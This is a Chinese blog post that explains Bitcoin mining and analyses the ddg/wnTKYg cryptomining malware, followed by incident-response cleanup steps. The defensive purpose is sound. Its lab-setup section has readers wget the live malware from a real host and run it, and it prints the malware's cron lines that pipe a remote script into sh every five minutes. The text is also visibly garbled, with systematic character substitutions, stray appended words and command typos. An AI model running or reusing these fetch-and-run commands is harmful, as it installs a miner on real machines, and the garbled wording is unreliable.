对比特币挖矿木马分析研究和清除

本文做者:simeonhtml

来源:i春秋社区linux

1、什么是比特币系统算法

有关比特币的专业知识讲解的内容资料不少,我这里只是简单通俗的记录下我的的学习和对他的理解。你们每每看到比特币首先想问的它究竟是什么,是否是钱。能够确定的回答你们,他是钱,可是他不仅是个体,他实际上是一个虚拟的电子货币支付系统,是的是一个系统。shell

  因此我这里说了这么多的废话,就是但愿你们之后看到比特币,咱们不是把它当作是一个硬币,而是咱们一看到比特币,我就立马想到的是它实际上是一个系统(电子币虚拟支付系统)。只要你们能这样想,后面讲的内容你们就好理解了。编程

  你们若是想要比较清晰的了解什么是比特币,咱们就必须知道比特币实际上是一套系统,他不是体,他是由各个“关键的基础点”共同在必定协议技术之上“运行的货币支付系统”。那么笔者接下来会分两步,给你们进行简单知识点的普济,即比特币系统的“关键基础构成”与其“比特币运行机制”。安全

1.1 比特币系统关键构成服务器

  首先给你们贴出介绍比特币系统的一张图,你们简单的看下。这一张图片展现的就是一个完整的比特币系统有哪些内容构成,那么咱们从这张图中咱们能够看到什么呢?网络

1.png

经过前面我的的学习,我简单的归纳出如下几个关键点:架构

· 用户
系统中各个外围的使用者,如学生、老师、雇员以及其余等待使用者;ssh

· 旷工
为整个系统的运行提供支撑的人员和基础设施,其实际构成就是由人、计算机、电力系统、校验认证等等共同构成;

· Blockchain(区块链)
看到Blokcchain,第一次听到这个词的人可能会一头雾水,其实你们无需迷茫,我给你们简单的打个比喻,你们就明白了。这个区块链其实就是整个比特币系统运行的底层协议,就像咱们的互联网底层协议TCP/IP同样。若是你们还不明白,那说的再简单点,你们就把他理解为一个“记帐本”就OK,他就是来负责整个比特币系统中进行记帐的载体。

  那么前面废话说了这么多,到什么是比特币呢?请各位亲们往下看,下面咱们会从比特币的比特币支持过程比特币发行过程两个方面带你们一块儿认识下比特币。

1.2 比特币系统运行过程

  我的对于比特的运行过程进行了简单的归纳,一是比特币系统的“支付过程”,二就是“货币发行过程”。你们若是弄明白了这两个过程基本就了解了比特币系统是什么了,也就理解什么是比特币了。

1.2.1 货币支付过程

   1.2.1.1 关键词

   在说明比特币的支付过程以前,你们先带你们看几个关键词:P2P去中心化终端用户

· P2P
咱们称他为点对点(即我的对我的);

· 去中心化
这个很字面了,不难理解,即没有中心,你们都是个体对个体的;

· 终端用户
用户就是使用者,就不用解释了吧。

OK!咱们了解了上面三个关键词后,咱们就来看下比特币定义。

比特币定义:它是一种去中心化的,基于区块链网络技术的,P2P电子支付技术系统。听起来是否是仍是很含糊,OK,那么说的再简单点,就是比特币是一个P2P(点到点)的电子支付系统。

1.2.1.2 P2P支付过程

经过上面的定义,你可能仍是不太了解其运行过程,那么咱们举一个生活中的例子来给你们简单说明。

场景举例:A 向 B 支付100元,在 “中心支付模式” 和 “点对点支付模式 ”,他们各自是如何完成支付的呢。

 

· (1)中心支付模式

   咱们知道在现实生活中咱们的货币支付系统的支付过程是这样的,当A支付出100元后,银行会在A的帐户中减去100元,同时在B的帐户中增长一笔100元的记录。也就是整个交易支付过程都是由银行在中间进行处理与记录的,银行是整个支付系统的中心系统,他有一本全部人的总帐本,这中心帐本记录全部的交易与支付记录。

2.png

 

 

2)P2P支付模式

   而比特币网络这种点对点支付系统就不一样了,当A给B支付了100元后,不须要通过任何中心支付系统进行结算和记录,彻底由这个A和B各自去记录完成,同时通告给P2P网络中的全部人,而后比特币网络中的每一个终端成员都会更新本身的帐本记录下A与B之间的支付帐单。也就是说P2P支付系统模式中,每一个终端个体都有跟帐本,且每一个人的帐本记录内容都是同步更新的。;

3.png

 

· 过程理解

  比特币系统就是一个基于“终端帐本记录”技术的点到点的,去中心化的,电子货币支付系统。而终端“帐本记录技术的实现”,其是经过前面说的“区块链”技术来实现的;

· 支付模式小结

  o 所谓“P2P支付模式”:就是每一个终端个体都一个如出一辙的帐本;

   o 所谓“中心支付模式”,就是只有一个中心节点有一个帐本,就这么简单;

说了这么多,你们不知道是否是已经理解了比特币的支付模式了呢,是的没错所谓比特币的P2P支付模式,就是每一个人都一个帐本,全部的支付结算过程结果都由每一个人本身的帐本记录进行更新记录,固然每一个人的帐本记录都是同样的内容,至于怎么实现,请各位亲继续日后看。

1.2.2 货币发行过程

   前面讲了那么多比特币的支付过程,那一个很是重要的问题来了,请问这些比特币系统中每一个人的比特币是哪里来的,即货币究竟是谁发行的呢? 这个问说若是你们搞清楚了,各位亲也就能理解我常常听到或遇到的“挖矿恶意程序”的究竟是个什么玩意了。

1.2.2.1 关键词

统一在为各位亲说明货币发现过程以前,先带你们看几个关键词或者说是关键点,即区块链、旷工以及比特币奖励

· 区块链

  其实有区块链前面我已经简单的说过,区块连接简单的理解就是一个记帐本;可是这里咱们须要更详细的说明下区块链,我如今把区块链分为两个部分来理解:即区块。一个区块链其实他记录从最原始的帐单交易到如今此时此刻的交易内容,它由区块和链共同两部分共同构成。在比特币系统中每10分钟生成一个新的区块,这10分钟生成的区块它会记录最近10分钟网络中生成的信息支付交易记录,而后经过链接到原始的区块链上造成更新后的新的区块链,并通告全网进行公共帐单的更新。

· 比特币奖励

这个就是字面意思,就是进行某个客体的比特币奖励。

· 旷工

   是指经过一种特别的软件不断重复哈希运算(hash碰撞)来产生工做量的各个网络终端节点。矿工们须要竞争完成一种基于加密哈希算法的数学难题,数学题的答案存在于新的区块中,谁优先解出这个答案,谁就能在p2p网络中广播声明本身已经得到这个区块,其余的旷工就会意识到在这局里已经输了,就会立马开始下一个区块的挖掘工做。每一个矿工在他的区块中都有一笔特殊的交易,他们会将新生成的比特币做为报酬,而后支付到本身的比特币地址中。一旦这个区块被承认被验证,也就是被添加到区块链中,他的这笔报酬就能够变为可用可消费的状态。

 

1.2.2.2 比特货币发行

经过前面比特币网络的学习,咱们知道比特币其实一个P2P的网络,这也表示网络中的每个人都当担这比特币系统的一小部分,可是一个主要的问题出了比特币来时哪里呢?

· (1)法币发行机制

咱们都知道就现实生活中的法币来讲,政府可以决定什么时候发行新的钞票,可是比特币并无中央政府。

· (2)比特币发行机制

在比特币的系统中,旷工们用一种特别的软件来解决数学难题,做为工做量的回报,款共能够获取取比特币系统新生成的特定数量的比特币,这种机制就是比特币系统提供的一种发行货币的创新方式,同时也提供人们参与挖矿的动机。

· (3)货币发行实际场景解析

4.png

你们若是看了上面的解释还不清楚,笔者结合前面区块链的内容再结合实际场景的给亲们解释下。

咱们经过前面学习知道,比特币网络中每10分钟会生成一个新的区块,这个新生成的区块其会包含多个内容。

第一个内容:就是最近这10分钟产生的全部比特币支付交易记录;

第二个内容:是区块锁(即签名或者说前面说的数学难题的答案);

第三个内容:就是即将新发行的比特币(奖励给第一个算出数学难题的旷工)。

   如今咱们把这三个内容联系起来,咱们知道比特币P2P网络中每一个人都一本帐本,那是否是意味着每一个均可能去篡改本身的帐本呢,是的存在这个可能,因此比特币网络设计了区块链的技术来防止这个状况的出现,那么每一个人手中的帐本如何可靠安全的更新呢?

   好的,咱们如今重回到区块链技术,咱们知道比特币网络每10分钟生成一个区块,通俗点就是一个当前10分钟网络中全部交易的帐本记录,为防止有人恶意篡改,区块链被加了签名(即一把锁/答案)防止被恶意篡改,比特币网络中第一个破解了这个签名的人,便可以新的区块加到原始的区块链上去;咱们知道谁也不可能义务劳动,因此在被更新的区块中还包了对第一个破解人的比特币奖励的更新帐单记录;这个奖励的比特币方式就是发行新比特币的方法和过程了。

2、恶意挖矿程序的由来

      咱们如今了解到旷工是整个比特币系统运行的底层基础运算保障,也是整个区块链技术的核心部分,比特币系统运行机制中为了保障整个比特币的系统有效运行和吸引更多的个体投入到系统中来,设立对旷工工做的奖励机制即经过衡量他们的运算贡献给以比特币的奖励。也所以现实社会中有了更多的人愿意将我的的计算机运算能力提供给比特币的网络系统,随着比特币的价值提高,更多的人有组织、有体系的,合法甚至不合法的去给比特币系统网络提供运算支持,其基本发展历程以下。

2.1 矿工与货币发行回顾

  在将恶意挖矿程序由来以前,咱们须要回顾下什么是矿工、挖矿奖励机制、比特币的发行。

  我如今都知道在比特币系统中,矿工们是用一种特别的软件来解决数学难题,来做为交换比特币系统生成的特定数量的比特币,而这种机制提供了一种发行货币的创新方式,同时也创造了人们参与挖矿的动机。因为比特币网络的交易须要矿工来进行验证,更过矿工的参与也意味着更安全的比特币网络,但同时随着矿工愈来愈多,比特币系统也会自动会自动改变这些数学题目的难度,而难度的变化的速度,一般又取决于解题的速度。

2.2 挖矿的历史历程介绍

2.2.1 通常CPU计算的时代

最先期的矿工们都是使用我的使用计算的CPU进行为挖矿,这是最原始的挖矿;

2.2.2 显卡的时代

   不久以后,矿工们发现使用显卡更适合于挖矿工做,显卡速度虽然快;可是显卡万科也有其自身的缺陷,就是须要消耗更多的电力,温度也会太高;人们发现挖矿的成本增大了;

2.2.3 ASIC 芯片时代

随后挖矿利益的驱动,出现专业更专业的挖矿产品,为挖矿提供专业的编程芯片,这种挖矿机虽然加快了挖矿速度,但仍然须要消耗大量的电力;
   ASIC 芯片的挖矿时代就应用而生了,特定的ASIC技术经过更少的消耗电量让比特币挖矿更快;

2.2.4 矿场与矿池的时代

· (1)矿场的诞生

     随着ASIC芯片专业技术的出现,挖矿的难度也增大了,为了获取更大的利益,出现了大量的投资人投资创建机房的运行模式,大批量的投资建设机房的模式来进行挖矿,这种以款场的模式就出现了。这类矿厂在今年以前,中国的系统占据了整个比特币网络的半壁江山,由于中国的系统有着大量的廉价电力能够被提供来进行挖矿;

· (2)矿池的诞生

  随着比特币的日益流行,愈来愈多的人加入挖矿这个行列,使得挖矿的难度也不断的提高,为了克服这个问题,矿工们开发出了“矿池”的挖矿方式,矿池结合了全部我的的计算能力,让更多的我的也还能够加入到挖矿的行列中来了,这种模式为更快的找到难题的也提供了一种解决方案,而每一个参与的矿工依据他们为矿池提供的工做量的比例分配矿池中的收益。

2.3 挖矿恶意程序总结

  上面铺垫说了这么了多,相信你们看到矿池的出现时,就都明白了“挖矿恶意程序”的由来了。是的,没错了,挖矿恶意程序其实就是矿池模式中矿池的一员,正常矿池中的成员都是自愿加入矿池中,为矿池提供计算能力,而后依据本身的计算贡献能力,从矿池的收益中来获取本身的分配所得。可是恶意程序是在未受权的状况下向你的服务器恶意植入的一个程序,并盗用了你我的计算机的计算能力来为Hacker挣钱的行为。

这就是咱们常常说挖矿事件的真实面目了,说了这么多不知道你们是否明白了,嘴巴都说干了。

 

3、本地实验环境搭建

   以上说了这么多都在跟你们一块儿去学习和了解下比特币是什么、挖矿是什么、恶意挖矿程序又是怎么由来的,详细此时你们应该都或多或少有了一点的了解了,那么接下来就是咱们看看安全当中恶意挖矿程序是如何运行,咱们若是不幸中招了如何快速作出响应和处理。

3.1 挖矿恶意程序分析

3.1.1 挖矿恶意脚本程序

  本次试验环境中使用的挖矿恶意程序主要基于实际环境中捕获的恶意程序进行分析后总结后从网络中直接获取的,涉及的程序包含“1个shell脚本”和“2个可执行程序”,具体名称以下(未作任何改动)。

· i.sh shell脚本

· dgg2020 恶意程序 (分为x86 x64)

· wnTKYg 恶意程序

3.1.2 挖矿恶意程序详解

3.1.2.1 i.sh shell 脚本

脚本下载地址: http://218.248.40.228:8443/i.sh

5.png

i.sh 经过以上脚本内容分析,咱们能够清晰的看到i.sh就是一个shell脚本,他主要功能咱们经过分析能够知道,其主要负责完成如下两件事情。

第一个任务:每五分钟下载一次i.sh脚本,并执行,目的应该就是为了循环执行以达到一个守护的目的;

第二个任务:依据当前系统的架构,下载相对于的ddg程序,并授予可执行权限而后运行。

3.1.2.2 dgg.xxxx 可执行程序

· (1)版本分析

  经过上面的i.sh脚本,咱们能够看到dgg.2021的下载地址,分析的过程当中咱们能够知道程序设计考虑还很周全,分为了x86 与 x86_64两个不一样架构的版本。

6.png

在分析的过程当中还发现这个ddg.xxx这个程序的版本有2020与2021两个版本,其实在我写这篇文档时,进行环境复现时版本已经升级到2021版本了,更新还挺频繁的,其实还远不止这两个版本。

· (2)功能分析

   经过实际环境分析,发下dgg.xxxx这个程序的主要功能就是下载wnTKYg并运行他,同时其仍是wnTKYg的守护者,当咱们删除wnTKYg是,若是未能删除dgg.xxxx,那么很快wnTKYg还会再次复活。

3.1.2.3 wnTKYg 可执行程序

    wnTKYg这个程序直接读取是没法看到其内部内容的,我的能有限,也没法作到具体内容的分析,若是哪位大神有这个闲情,请带我飞。这里我仅从其运行的特性来分析下其主要功能。

7.png

  这里放出一张直接手动运行wnTKYg程序后的截图,经过上面这张图咱们其实能够很直接看到三个关键字“miner”、“Pool”、“block”,是否是咱们第一个章节中废话说了那么多,就这个三个词能,是的“矿工”、“矿池”、还有就是“区块链技术”。因此,这里不言而喻这个wnTKYg就是挖矿的主程序了,就是负责给比特币网络提供底层运算的劳工了。

3.2 环境搭建

3.2.1 下载恶意代码程序

1. # wget http://218.248.40.228:8443/i.sh

2. # wget http://218.248.40.228:8443/2021/$(uname -m)

3. # wget http://218.248.40.228:8443/wnTKYg

3.2.2 运行脚本搭建环境

3.2.2.1 运行失败小插曲

     我第一次搭建环境的时候使用的是我的的PC来搭建的运行环境,运行的过程当中发现,下载的恶意wnTKYg程序主动运行时进行报错,告诉个人CPU 没有AES-IN。

8.png

 查询发现这个AES-IN,表明的是Advance Encryption Standard New Instructions;AES-IN 高级加密标准新指令集,这也就意味着你的CPU若是不支持 AES-IN,还不配有挖矿的资格,想成为肉鸡都不配,我只能笑着说,是我太LOW,我过小白了,我不懂…(其实心中千万个cao ni ma 奔驰而过…)

接着经过如下命令检查了下个人CPU是否真的不支持AES-IN。

1. # cat /proc/cpuinfo |grep aes

  原来个人台式机真的不支持AES-IN这个高级指令集,随后我看了下个人最新的笔记本,OK,还算幸运居然支持,随后将CentOS7的环境移植到了个人笔记本中,继续进行试验。

3.3.2.2 更换环境运行成功

从新找了一台新的环境,在验证了服务的CPU支持AES-IN指令集的状况下,从新安装捕获的恶意程序运行脚本,运行一切OK。

 

9.png10.png

注意事项

 

   环境脚本运行的时候要注意,就是先下载i.sh,而后直接运行等待一段时间便可。(主要是因为运行i.sh文件后,他须要去下载ddg.2021主程序,这个程序相对较大并且还在国外)待ddg.2021程序运行正常后,随后它就会去下载wnTKYg这个程序计算程序,他也运行成长,环境就搭建成功了。

若是你发现你等待了好久都环境都没搭建成功,能够尝试清除一下计划任务表,由于计划任务表会循环下载ddg.2021文件,可能会影响ddg.2021的正常运行。

4、挖矿恶意程序处理流程

4.1 异常问题定位

4.1.1 异常进程排查

(1)top 排查

使用top命令直接动态排查可能异常进程,配合 -c能够直接查找到异常进程的物理位置。

1. # top -c

11.png

(2)ps -ef 排查

1. #  ps -ef |grep wnTKYg

2. #  ps -ef |grep ddg.2021

(3) 疑似进程定位

1. [root@localhost ~]# find / -name wnTKYg*

2. /tmp/wnTKYg

3. [root@localhost ~]#

4.1.2 异常会话排查

(1) # netstat -pantul |grep ESTAB

查询会话创建状况,查看是否有异常会话链接。

1. [root@MiWiFi-R3-srv tmp]# netstat -pantul |grep ESTAB

2. tcp        0      0 192.168.31.9:22             192.168.31.75:3898          ESTABLISHED 3742/sshd           

3. tcp        0      0 192.168.31.9:56842          163.172.226.120:443         ESTABLISHED 7263/wnTKYg         

4. tcp        0      0 192.168.31.9:22             192.168.31.75:3953          ESTABLISHED 3795/sshd           

5. tcp        0      0 192.168.31.9:35286          104.131.231.181:8443        ESTABLISHED 7193/ddg.2021      

6. tcp        0      0 192.168.31.9:55200          218.248.40.228:8443         ESTABLISHED 6339/curl           

7. [root@MiWiFi-R3-srv tmp]#

12.png

 

4.1.3 计划任务排查

(1) # crontab -l

查询当前计划任务中是否存在异常未知的任务被添加。

1. [root@localhost ~]# crontab -l

2. */5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh

3. */5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh

4. You have new mail in /var/spool/mail/root

(2) 直接查询用户任务配置文件

1. [root@MiWiFi-R3-srv ~]# tree /var/spool/cron/

2. /var/spool/cron/

3. ├── crontabs

4. │   └── root

5. └── root

6.

7. 1 directory, 2 files

8. [root@MiWiFi-R3-srv ~]# cat /var/spool/cron/root

9. */5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh

10. */5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh

11. [root@MiWiFi-R3-srv ~]# cat /var/spool/cron/crontabs/root

12. */5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh

13. */5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh

14. [root@MiWiFi-R3-srv ~]#

4.1.4 恶意程序确认

若是此时你还不确认当前程序是不是恶意程序,能够直接将定位到的疑似恶意程序进行md5 hash后进行校验比对进行确认。

md5校验网站https://www.virustotal.com/#search

(1) 进行疑似文件的md5sum 哈希

1. [root@MiWiFi-R3-srv tmp]# md5sum wnTKYg

2. d3b1700a413924743caab1460129396b  wnTKYg

3. [root@MiWiFi-R3-srv tmp]#

(2) 进行MD5哈希疑似病毒校验比对

直接将疑似文件wnTKYg的md5哈希值复制到病毒校验网站https://www.virustotal.com/#search进行查询比对。经过比对结果,咱们能够清晰的看到wnTKYg为恶意程序。

13.png

4.2 挖矿恶意程序处理方式

4.2.1 直接清理恶意程序

(1)清除计划任务

首先第一步须要先删除计划任务,由于计划任务会每5分钟循环下载恶意程序并受权执行;

· 方法一

直接使用crontab命令配合参考 -r 直接状况crontab列表中的任务,使用前请确认任务列表中任何生产相关的计划任务。

1. # crontab -r       # 直接使用此命令便可上次当前用户的计划任务

2. #

3. # crontab -l       # 直接查询当前用户是否还存在计划任务

4. no crontab for root

· 方法二

在确认计划可能还存在其余正常业务须要的时候,我能够直接编辑计划任务的配置文件,删除咱们看到恶意写入的计划任务内容。

1. # vi /var/spool/cron/root

2. #

3. # /var/spool/cron/crontabs/root

分别编辑以上两个root配置文件,删除恶意计划任务内容,便可。

1. */5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh

2. */5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh

3. ~                                                                  

4. ~                                                                  

5. ~   

        

(2) 杀死恶意进程

第二步就杀死相关的恶意运行行为的程序,除了wnTKYg与ddg.2021觉得,当前若存在curl程序,也应该将其杀死。

· 方法一:直接杀死程序

1. # pkill wnTKYg

2. # pkill dgg.2021

3. # pill curl

· 方法二:杀死恶意程序进程号

注:方法二每每都是在方法一很差使的时候强制来使用的。

1. # ps -ef |grep wnTKYg       # 查询恶意程序的ps进程号

2. # kill -9 PID

3.

4. ## ps -ef |grep ddg.2021    # 查询恶意程序的ps进程号

5. # kill -9 PID

6.

7. ## ps -ef |grep curl        # 查询恶意程序的ps进程号

8. # kill -9 PID

(3) 清除恶意程序

清理过程的最后一步才是进行相关恶意程序的删除操做。

1. # rm -rf /tmp/wnTKYg

2. # rm -rf /tmp/ddg.2021

3. # rm -rf /tmp/i.sh

4.2.2 禁止服务主动访问互联网

  禁止服务主动访问互联网的方法是咱们快速处理挖矿恶意程序对服务器影响的最快,最有效的方法,也是一劳永逸的,固然有外面的人是怎么进来的,不是咱们这里主题,这里不作过多的说明。接下来就详细的记录与分析下咱们为何这么作,怎么作。

4.2.2.1 问题分析

· (1) wnTKYg 分析

  经过对挖矿程序的运行机制我能够知道,矿工(miner)即恶意程序wnTKY的主要运行机制就是为比特币网络提供底层的运算的能力,即须要主动去连接外网,若是此时我限制服务器主机主动访问网络的话,是否是就能够限制wnTKY的运行能。有过对挖矿恶意程序处理经验的小伙伴都知道,其实挖矿恶意程序惟一作的事情就是在你为受权的状况利用你服务主机的运算能力为黑客搭建的矿池提供计算能力,帮他挣钱。一旦咱们的服务不能主动访问互联网了,其实对于这里黑客就没有意义了,由于此时咱们的服务就没法将计算的结果提交给矿池了,也没法同步与下载计算任务了。

· (2) i.sh 与ddg.2021分析

经过前面的分析学习,咱们知道ddg.2021程序是主程序也是wnTKYg的守护进程,其是由i.sh下载下来并执行的,因此对于i.sh与ddg.2021的下载,咱们也要禁止掉。

4.2.2.2 如何下发网络访问控制

其实禁止主机主动访问互联的方法有不少,好比能够经过网络中的防火墙禁止服务主动链接互联;或者在作内网返现代理时,就不代理内网服务器均可以实现咱们的目标。

不过我这里只说明了怎么利用咱们的Linux服务器只带的防火墙iptables来下发访问控制,禁止服务主动链接互联网。

· (1) 检查恶意程序外网互联地址

第一步就是经过会话监控命令,监控查询恶意程序 wnTKYg、ddg.202一、curl下载的外网互联地址;

1. [root@MiWiFi-R3-srv tmp]# netstat -pantul |grep ESTAB

2. tcp        0      0 192.168.31.9:22             192.168.31.75:3898          ESTABLISHED 3742/sshd           

3. tcp        0      0 192.168.31.9:56842          163.172.226.120:443         ESTABLISHED 7263/wnTKYg         

4. tcp        0      0 192.168.31.9:22             192.168.31.75:3953          ESTABLISHED 3795/sshd           

5. tcp        0      0 192.168.31.9:35286          104.131.231.181:8443        ESTABLISHED 7193/ddg.2021      

6. tcp        0      0 192.168.31.9:55200          218.248.40.228:8443         ESTABLISHED 6339/curl    

 

· (2) 下发外网访问控制策略

依据查询出的外网互联地址,直接下发访问控制策略,禁止服务访问这些网络地址。

1.

2. [root@MiWiFi-R3-srv tmp]# iptables -A OUTPUT -d 163.172.226.120 -j DROP

3. [root@MiWiFi-R3-srv tmp]# iptables -A OUTPUT -d 104.131.231.181 -j DROP

4. [root@MiWiFi-R3-srv tmp]# iptables -A OUTPUT -d 218.248.40.228 -j DROP

5. [root@MiWiFi-R3-srv tmp]#

14.png

4.3 找到入侵的源头

以上全部说的这么多都是与你们一块儿了解下挖矿的恶意程序是怎么运行的,在咱们的服务器到底作了些什么,我应该如何应对这个恶意程序,固然也能够为其余恶意程序的问题定位与处理提供借鉴与参考。

  可是,归根结底问题仍是出在咱们的服务上,咱们的服务可能存在漏洞被人恶意利用了,服务被入侵,咱们必须找到入侵的根源才能确保服务的安全。
有关服务器入侵根源的查找的方法,这里不作展开说明了,简单记录下基本思路。

· (1)查找当前服务器日志,收集可能入侵的痕迹,确认入侵的根源;

· (2)针对服务器应用和主机层面进行自查与安全扫描,确认服务器自己是否存在大的漏洞

· (3)在确认或疑似漏洞被确认后,迅速的安排进行加固修复,

· (4)建议最好对关键数据进行备份,从新部署系统与应用,并进行相应的安全配置,修复存在的安全漏洞,从新上线。

5、挖矿事件应急处理总结

5.1 确认挖矿事件

5.1.1 异常进程排查

1. # 进程动态快速定位,使用 top -c可快速定位异常常常的物理位置,查询异常进程。

2. # top -c

1. # ps -ef 排查

2. #  ps -ef |grep wnTKYg

3. #  ps -ef |grep ddg.2021

1. # 疑似进程定位

2. [root@localhost ~]# find / -name wnTKYg*

3. /tmp/wnTKYg

4. [root@localhost ~]#

5.1.2 异常会话排查

1. # 查询会话创建状况,查看是否有异常会话链接。

2. # netstat -pantul |grep ESTAB

5.1.3 计划任务查询

1. [root@localhost ~]# crontab -l

2. */5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh

3. */5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh

4. You have new mail in /var/spool/mail/root

5.1.4 异常病毒校验

第一步:使用md5sum 命令进行疑似文件哈希

1. # md5sum wnTKYg

2. d3b1700a413924743caab1460129396b  wnTKYg

第二步:进行疑似病毒MD5哈希值的校验比对

直接将疑似文件wnTKYg的md5哈希值复制到病毒校验网站https://www.virustotal.com/#search进行查询比对。经过比对结果,咱们能够确认疑似文件是不是恶意程序。

5.2 处理恶意程序

5.2.1 清除计划任务

1. # crontab -r       # 直接使用此命令便可上次当前用户的计划任务

2. #

3. # crontab -l       # 直接查询当前用户是否还存在计划任务

4. no crontab for root

5.2.2 杀死恶意进程

1. # pkill wnTKYg

2. # pkill dgg.2021

3. # pill curl

5.2.3 清除恶意进程

1. # rm -rf /tmp/wnTKYg

2. # rm -rf /tmp/ddg.2021

3. # rm -rf /tmp/i.sh

5.2.4 下发访问控制策略

下发访问控制策略,禁止服务互联三个恶意程序外联的外网地址。

1. # 查询恶意进程外网互联地址

2. #

3. # netstat -pantul |grep ESTAB      

4. tcp        0      0 192.168.31.9:22             192.168.31.75:3898          ESTABLISHED 3742/sshd           

5. tcp        0      0 192.168.31.9:56842          163.172.226.120:443         ESTABLISHED 7263/wnTKYg         

6. tcp        0      0 192.168.31.9:22             192.168.31.75:3953          ESTABLISHED 3795/sshd           

7. tcp        0      0 192.168.31.9:35286          104.131.231.181:8443        ESTABLISHED 7193/ddg.2021      

8. tcp        0      0 192.168.31.9:55200          218.248.40.228:8443         ESTABLISHED 6339/curl           

9.

10. # 下发放控制策略,禁止服务的外网互联

11. #

12. # iptables -A OUTPUT -d 163.172.226.120 -j DROP

13. # iptables -A OUTPUT -d 104.131.231.181 -j DROP

14. # iptables -A OUTPUT -d 218.248.40.228 -j DROP

学习参考

· (1)比特币概念介绍

https://mp.weixin.qq.com/s?__biz=MzI1MTkwNjg5Mw==&mid=2247483744&idx=1&sn=4e4db07b5b4bd4a70d0470a82730ebac&scene=21#wechat_redirect

· (2)视频讲解

[url=https://www.youtube.com/watch?v=N35nul3srWk]https://www.youtube.com/watch?v=N35nul3srWk[/url]
https://www.youtube.com/watch?v=vqSautdQEoI

· (3)木马清除
http://friendlysong.blog.163.com/blog/static/32252439201722932034657/

· (4) tcpdump 详解

http://roclinux.cn/?p=2474

 

 

>>>>>>黑客入门必备技能   带你入坑,和逗比表哥们一块儿聊聊黑客的事儿,他们说高精尖的技术比农药都好玩!

相关文章
相关标签/搜索